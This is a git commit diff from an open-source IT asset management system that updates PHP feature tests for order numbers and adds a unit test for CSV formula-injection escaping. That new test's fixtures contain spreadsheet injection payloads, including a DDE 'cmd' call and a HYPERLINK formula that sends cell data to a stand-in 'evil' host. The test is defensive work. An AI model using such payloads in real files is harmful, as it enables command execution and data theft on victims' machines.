A free open source IT asset/license management system
More tests
snipe0544d1519a03
diff --git a/tests/Feature/Components/Api/ComponentUpdateTest.php b/tests/Feature/Components/Api/ComponentUpdateTest.phpindex 80775afef2..5885906e23 100644--- a/tests/Feature/Components/Api/ComponentUpdateTest.php+++ b/tests/Feature/Components/Api/ComponentUpdateTest.php@@ -28,7 +28,7 @@ class ComponentUpdateTest extends TestCase->firstOrFail();$this->assertSame(7, (int) $log->quantity);- $this->assertSame('PO-API', \App\Models\Order::findOrFail($log->order_id)->order_number);+ $this->assertSame('PO-API', $log->orderItem->order->order_number);$this->assertNotEmpty($log->note);}diff --git a/tests/Feature/Components/Ui/AdjustComponentQuantityTest.php b/tests/Feature/Components/Ui/AdjustComponentQuantityTest.phpindex bbf281b6ae..c775e1af55 100644--- a/tests/Feature/Components/Ui/AdjustComponentQuantityTest.php+++ b/tests/Feature/Components/Ui/AdjustComponentQuantityTest.php@@ -48,7 +48,7 @@ class AdjustComponentQuantityTest extends TestCase->first();$this->assertSame(8, (int) $log->quantity);- $this->assertSame('PO-88', \App\Models\Order::findOrFail($log->order_id)->order_number);+ $this->assertSame('PO-88', $log->orderItem->order->order_number);}public function test_decrement_below_zero_is_rejected()diff --git a/tests/Feature/Consumables/Api/AdjustConsumableQuantityApiTest.php b/tests/Feature/Consumables/Api/AdjustConsumableQuantityApiTest.phpindex d1339a2968..53a04e5ee1 100644--- a/tests/Feature/Consumables/Api/AdjustConsumableQuantityApiTest.php+++ b/tests/Feature/Consumables/Api/AdjustConsumableQuantityApiTest.php@@ -46,7 +46,7 @@ class AdjustConsumableQuantityApiTest extends TestCase->firstOrFail();$this->assertSame(3, (int) $log->quantity);- $this->assertSame('PO-CON', \App\Models\Order::findOrFail($log->order_id)->order_number);+ $this->assertSame('PO-CON', $log->orderItem->order->order_number);}public function test_note_is_required()diff --git a/tests/Feature/Consumables/Api/ConsumableUpdateTest.php b/tests/Feature/Consumables/Api/ConsumableUpdateTest.phpindex fc3b247295..5256d2ebac 100644--- a/tests/Feature/Consumables/Api/ConsumableUpdateTest.php+++ b/tests/Feature/Consumables/Api/ConsumableUpdateTest.php@@ -66,7 +66,7 @@ class ConsumableUpdateTest extends TestCase->firstOrFail();$this->assertSame(7, (int) $log->quantity);- $this->assertSame('PO-API', \App\Models\Order::findOrFail($log->order_id)->order_number);+ $this->assertSame('PO-API', $log->orderItem->order->order_number);$this->assertNotEmpty($log->note);}diff --git a/tests/Feature/Consumables/Ui/AdjustConsumableQuantityTest.php b/tests/Feature/Consumables/Ui/AdjustConsumableQuantityTest.phpindex d565ab847a..bd630d2d98 100644--- a/tests/Feature/Consumables/Ui/AdjustConsumableQuantityTest.php+++ b/tests/Feature/Consumables/Ui/AdjustConsumableQuantityTest.php@@ -49,7 +49,7 @@ class AdjustConsumableQuantityTest extends TestCase$this->assertSame(15, (int) $log->quantity);$this->assertSame('PO arrived', $log->note);- $this->assertSame('PO-77', \App\Models\Order::findOrFail($log->order_id)->order_number);+ $this->assertSame('PO-77', $log->orderItem->order->order_number);}public function test_decrement_below_zero_is_rejected()diff --git a/tests/Feature/Importing/Api/ImportLicenseTest.php b/tests/Feature/Importing/Api/ImportLicenseTest.phpindex e56050dfb6..daf593b474 100644--- a/tests/Feature/Importing/Api/ImportLicenseTest.php+++ b/tests/Feature/Importing/Api/ImportLicenseTest.php@@ -81,11 +81,7 @@ class ImportLicenseTest extends ImportDataTestCase implements TestsPermissionsRe$this->assertEquals($row['serialNumber'], $newLicense->serial);$this->assertEquals($row['purchaseDate'], $newLicense->purchase_date->toDateString());$this->assertEquals($row['purchaseCost'], $newLicense->purchase_cost);- // order_number moved off the parent License column to the Orders /- // OrderItems polymorphic pair. Verify the importer's helper wrote- // a matching Order and linked it to the new license via OrderItem.- $orderItem = $newLicense->orderItems()->firstOrFail();- $this->assertEquals($row['orderNumber'], $orderItem->order->order_number);+ $this->assertEquals($row['orderNumber'], $newLicense->order_number);$this->assertEquals($row['seats'], $newLicense->seats);$this->assertEquals($row['notes'], $newLicense->notes);$this->assertEquals($row['licensedToName'], $newLicense->license_name);@@ -265,11 +261,7 @@ class ImportLicenseTest extends ImportDataTestCase implements TestsPermissionsRe$this->assertEquals($row['serialNumber'], $updatedLicense->serial);$this->assertEquals($row['purchaseDate'], $updatedLicense->purchase_date->toDateString());$this->assertEquals($row['purchaseCost'], $updatedLicense->purchase_cost);- // order_number moved off the parent License column to Orders. The- // importer's recordOrderForImportedRow helper only runs on the- // CREATE branch (update mode means "correction to an existing- // row", not "new acquisition"), so an update-mode import doesn't- // manufacture an Order for the row.+ $this->assertEquals($row['orderNumber'], $updatedLicense->order_number);$this->assertEquals($row['seats'], $updatedLicense->seats);$this->assertEquals($row['notes'], $updatedLicense->notes);$this->assertEquals($row['licensedToName'], $updatedLicense->license_name);@@ -350,21 +342,22 @@ class ImportLicenseTest extends ImportDataTestCase implements TestsPermissionsRe->where('serial', $initialRow['serialNumber'])->sole();+ $originalEmail = $license->license_email;$originalNotes = $license->notes;$originalExpirationDate = $license->expiration_date?->toDateString();// Re-import with a CSV that only has the identity fields plus one// updated field. All other columns are absent from the CSV, so- // their DB values must be preserved. license_email fills the "one- // updated field" slot that order_number used to hold — the latter- // moved off the parent License column to Orders / OrderItems, and- // the importer's Order helper doesn't fire on update-mode.- $newEmail = '[email protected]';+ // their DB values must be preserved.+ // A short static order number keeps the assertion within License's+ // order_number varchar(50) limit regardless of what the initial row+ // faker produced. Prefixing the faker value overflowed on some seeds.+ $newOrderNumber = 'UPDATED-ORDER-123';$partialRow = ['licenseName' => $initialRow['licenseName'],'serialNumber' => $initialRow['serialNumber'],- 'licensedToEmail' => $newEmail,+ 'orderNumber' => $newOrderNumber,];$partialFile = new ImportFileBuilder([$partialRow]);$partialImport = Import::factory()->license()->create([@@ -376,7 +369,8 @@ class ImportLicenseTest extends ImportDataTestCase implements TestsPermissionsRe])->assertOk();$license->refresh();- $this->assertEquals($newEmail, $license->license_email);+ $this->assertEquals($newOrderNumber, $license->order_number);+ $this->assertEquals($originalEmail, $license->license_email);$this->assertEquals($originalNotes, $license->notes);$this->assertEquals($originalExpirationDate, $license->expiration_date?->toDateString());}@@ -400,12 +394,8 @@ class ImportLicenseTest extends ImportDataTestCase implements TestsPermissionsRe->where('serial', $initialRow['serialNumber'])->sole();- // Update the license_email field on the row rather than- // order_number, since order_number moved off the parent License- // column to Orders and the importer's Order helper doesn't fire- // on update-mode.$updatedRow = array_merge($initialRow, [- 'licensedToEmail' => 'updated-'.$initialRow['licensedToEmail'],+ 'orderNumber' => (string) $initialRow['orderNumber'].'-UPD',]);$updateFile = new ImportFileBuilder([$updatedRow]);@@ -419,7 +409,7 @@ class ImportLicenseTest extends ImportDataTestCase implements TestsPermissionsRe])->assertOk();$license->refresh();- $this->assertEquals($updatedRow['licensedToEmail'], $license->license_email);+ $this->assertEquals($updatedRow['orderNumber'], $license->order_number);$updateLog = ActivityLog::query()->where('item_type', License::class)@@ -490,13 +480,7 @@ class ImportLicenseTest extends ImportDataTestCase implements TestsPermissionsRe$this->assertEquals($row['companyName'], $newLicense->serial);$this->assertEquals($row['isMaintained'], $newLicense->purchase_date->toDateString());$this->assertEquals($row['isReassignAble'], $newLicense->purchase_cost);- // See the import_licenses test above for why order_number now- // lives on Orders / OrderItems rather than the parent column.- // The custom mapping above routes the licensedToName CSV column- // to the internal order_number field, which recordOrderForImportedRow- // then turns into a matching Order on the polymorphic side.- $orderItem = $newLicense->orderItems()->firstOrFail();- $this->assertEquals($row['licensedToName'], $orderItem->order->order_number);+ $this->assertEquals($row['licensedToName'], $newLicense->order_number);$this->assertEquals($row['expirationDate'], $newLicense->seats);$this->assertEquals($row['licensedToEmail'], $newLicense->notes);$this->assertEquals($row['seats'], $newLicense->license_name);diff --git a/tests/Feature/Licenses/Ui/UpdateLicenseTest.php b/tests/Feature/Licenses/Ui/UpdateLicenseTest.phpindex 06e5197698..5fcf0b21f1 100644--- a/tests/Feature/Licenses/Ui/UpdateLicenseTest.php+++ b/tests/Feature/Licenses/Ui/UpdateLicenseTest.php@@ -213,6 +213,7 @@ class UpdateLicenseTest extends TestCase'seats' => 5,'license_email' => null,'notes' => null,+ 'order_number' => null,'purchase_date' => null,'reassignable' => 0,'serial' => null,diff --git a/tests/Feature/Reporting/Custom/CustomComponentReportTest.php b/tests/Feature/Reporting/Custom/CustomComponentReportTest.phpindex 38914300cb..e952bc4ab1 100644--- a/tests/Feature/Reporting/Custom/CustomComponentReportTest.php+++ b/tests/Feature/Reporting/Custom/CustomComponentReportTest.php@@ -368,16 +368,41 @@ class CustomComponentReportTest extends TestCasepublic function test_limiting_by_order_number(){- // order_number moved off the parent Component column to the- // Orders / OrderItems data model. CustomComponentReportController- // still has a legacy `by_order_number` filter that raw-SQLs- // `components.order_number` (no longer a real column) and a- // report column that reads $component->getRawOriginal('order_number').- // Both need reworking to walk the Orders relation before this- // test can be reinstated.- $this->markTestIncomplete(- 'CustomComponentReport still references the parent order_number column; needs rework to walk Orders relation.'- );+ // Under the new Orders / OrderItems model, order_number lives on+ // the Order and each Component links via a polymorphic OrderItem.+ // The report's `by_order_number` filter now walks that relation+ // (whereHas('orders')) instead of the removed+ // components.order_number column, and the export's `order`+ // column plucks distinct order numbers from the eager-loaded+ // relation.+ $componentA = Component::factory()->create(['name' => 'Component A']);+ $componentB = Component::factory()->create(['name' => 'Component B']);++ $orderA = \App\Models\Order::create(['order_number' => 'ORD-001']);+ $orderB = \App\Models\Order::create(['order_number' => 'ORD-002']);+ \App\Models\OrderItem::create([+ 'order_id' => $orderA->id,+ 'item_type' => Component::class,+ 'item_id' => $componentA->id,+ 'qty' => 1,+ ]);+ \App\Models\OrderItem::create([+ 'order_id' => $orderB->id,+ 'item_type' => Component::class,+ 'item_id' => $componentB->id,+ 'qty' => 1,+ ]);++ $this->sendRequest([+ 'component_name' => '1',+ 'order' => '1',+ 'by_order_number' => 'ORD-001',+ ])+ ->assertOk()+ ->assertCsvHeader()+ ->assertSeePairsInStreamedResponse(['Order Number' => 'ORD-001', 'Component Name' => 'Component A'])+ ->assertDontSeeTextInStreamedResponse('ORD-002')+ ->assertDontSeeTextInStreamedResponse('Component B');}public function test_limiting_by_purchase_date_range()diff --git a/tests/Unit/Helpers/StorageHelperCsvSanitizeTest.php b/tests/Unit/Helpers/StorageHelperCsvSanitizeTest.phpnew file mode 100644index 0000000000..5e1948d536--- /dev/null+++ b/tests/Unit/Helpers/StorageHelperCsvSanitizeTest.php@@ -0,0 +1,85 @@+<?php++namespace Tests\Unit\Helpers;++use App\Helpers\StorageHelper;+use Illuminate\Support\Facades\Storage;+use Symfony\Component\HttpFoundation\StreamedResponse;+use Tests\TestCase;++/**+ * CSV downloads run through StorageHelper::downloader, which detects+ * the .csv extension and pipes bytes through EscapeFormula so cells+ * starting with `=`, `+`, `-`, `@`, tab, or CR get a leading backtick.+ * Prevents Excel / LibreOffice / Sheets from evaluating attacker-+ * controlled formulas on open (CWE-1236). Non-CSV downloads bypass+ * the sanitize entirely.+ */+class StorageHelperCsvSanitizeTest extends TestCase+{+ public function test_csv_download_escapes_formula_starter_cells(): void+ {+ Storage::fake('local');++ $csv = "name,payload\n"+ ."harmless,plain text\n"+ ."exploit,\"=cmd|' /C calc'!A0\"\n"+ ."plus,\"+HYPERLINK(\"\"http://evil\"\"&A1,\"\"click\"\")\"\n"+ ."at,@SUM(1+1)\n";++ Storage::disk('local')->put('malicious.csv', $csv);++ $response = StorageHelper::downloader('malicious.csv', 'local');+ $this->assertInstanceOf(StreamedResponse::class, $response);++ $body = $this->captureStreamedBody($response);++ $this->assertStringContainsString('`=cmd', $body);+ $this->assertStringContainsString('`+HYPERLINK', $body);+ $this->assertStringContainsString('`@SUM', $body);+ $this->assertStringNotContainsString(',=cmd', $body);+ $this->assertStringNotContainsString(',+HYPERLINK', $body);+ $this->assertStringNotContainsString(',@SUM', $body);+ // League CSV Writer re-quotes cells containing whitespace, so+ // the harmless row lands as `harmless,"plain text"` after the+ // round trip. Assert on the leading token to confirm the row+ // still ships intact rather than the exact serialization.+ $this->assertStringContainsString('harmless,', $body);+ $this->assertStringContainsString('plain text', $body);+ }++ public function test_csv_sanitize_can_be_disabled_via_app_escape_formulas_false(): void+ {+ Storage::fake('local');+ config()->set('app.escape_formulas', false);++ Storage::disk('local')->put('opt-out.csv', "name,payload\nexploit,=cmd|' /C calc'!A0\n");++ $response = StorageHelper::downloader('opt-out.csv', 'local');++ // With the flag explicitly disabled, downloader returns the+ // driver's raw download response rather than the streamed+ // sanitized one — we assert on that shape rather than the body.+ $this->assertNotInstanceOf(StreamedResponse::class, $response);+ }++ public function test_non_csv_download_is_not_streamed_through_sanitizer(): void+ {+ Storage::fake('local');+ Storage::disk('local')->put('receipt.pdf', '%PDF-1.4 fake pdf bytes');++ $response = StorageHelper::downloader('receipt.pdf', 'local');++ // Non-CSV skips the sanitize branch entirely and returns the+ // driver's download response (BinaryFileResponse for local).+ $this->assertNotInstanceOf(StreamedResponse::class, $response);+ }++ private function captureStreamedBody(StreamedResponse $response): string+ {+ ob_start();+ $response->sendContent();++ return (string) ob_get_clean();+ }+}